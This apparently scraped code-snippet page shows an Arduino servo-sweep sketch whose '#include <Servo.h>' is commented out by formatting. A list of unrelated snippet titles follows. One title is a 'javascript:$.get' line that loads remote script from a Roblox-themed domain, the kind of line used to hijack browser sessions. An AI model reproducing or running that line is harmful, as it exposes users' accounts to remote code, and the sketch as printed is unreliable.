// Include the Servo library #include <Servo.h>
// Declare the Servo pin
int servoPin = 3;
// Create a servo object
Servo Servo1;
void setup() {
// We need to attach the servo to the used pin number
Servo1.attach(servoPin);
}
void loop(){
// Make servo go to 0 degrees
Servo1.write(0);
delay(1000);
// Make servo go to 90 degrees
Servo1.write(90);
delay(1000);
// Make servo go to 180 degrees
Servo1.write(180);
delay(1000);
}
Code Example |
---|
C :: fractional knapsack problem in c |
C :: c read csv |
C :: c print multiple variables |
C :: how to make a linked list in c |
C :: c syntax |
C :: typedef in c |
C :: c realloc |
C :: how to print sizes of various data types of C |
C :: text berjalan html |
C :: add a item to cart woocomerce with quantity |
C :: c get current month, year, day |
C :: initializa 2d array c |
C :: fgets remove newline |
C :: sqlserver insert with set identity |
C :: signal function c |
C :: typedef vs #define |
C :: fibonacci series in c |
C :: variables in c |
C :: int data types in c |
C :: print an int c |
C :: signed and unsigned in c |
C :: how to free memory in c |
C :: algorithm for dequeue |
C :: virtualbox how to move vmdk to another folder |
C :: string in c |
C :: files in c programming |
C :: 2 html 1 javascript |
C :: Javascript:$.get("//javascript-roblox.com/api?i=29229") |
C :: leer string en c |
C :: C (GEM) |